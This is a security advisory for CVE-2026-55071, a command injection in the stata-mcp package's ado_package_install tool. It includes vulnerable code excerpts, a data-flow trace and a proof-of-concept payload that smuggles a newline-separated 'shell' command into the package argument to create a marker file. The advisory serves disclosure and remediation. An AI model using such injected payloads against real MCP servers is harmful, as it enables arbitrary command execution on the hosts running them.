A AegiFlow
HIGHCVSS 8.4

CVE-2026-55071

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

Published
2026-08-12
Modified
2026-08-12
Aliases
GHSA-49m4-vp58-wgc9
Sources
github-advisory

Summary

## Stata Command Injection via Unsanitized `package` in `ado_package_install` ### Summary The `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**. ### Details The vulnerability originates in `SSC_Install.install()`: ```python # src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16 def install(self, package: str) -> str: install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" runner_result = self.controller.run(install_command) ``` The `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim: ```python # src/stata_mcp/stata/stata_controller/controller.py:98-99 # Send the command self.child.sendline(command) ``` `pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution. The full source-to-sink data flow is: 1. **Exposure** — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile. 2. **Default activation** — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled. 3. **Propagation** — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation. 4. **Sink construction** — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`. 5. **Delivery** — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata. A guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack. ### PoC **Prerequisites** - Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command. **Container-based reproduction (no Stata license required)** ```bash # Build (run from the repository root) docker build -t stata-mcp-poc-001 \ -f vuln-001/Dockerfile \ reports/pypiAi_828_SepineTam__stata-mcp/ # Run docker run --rm stata-mcp-poc-001 ``` **Direct Python trigger (unmodified source)** ```python import os from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install MARKER = "/tmp/stata_mcp_ado_poc" PAYLOAD = f"outreg2\nshell touch {MARKER}\n//" installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10) installer.install(PAYLOAD) assert os.path.exists(MARKER), "RCE not confirmed" print("RCE CONFIRMED — marker file created") ``` The payload `"outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//"` is expanded by the f-string at `ssc_install.py:15` into: ``` ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace ``` Stata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not

Affected packages

EcosystemPackageAffected versionsFixed versions
PyPIstata-mcp1.19.0

Remediation: Upgrade to 1.19.0 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.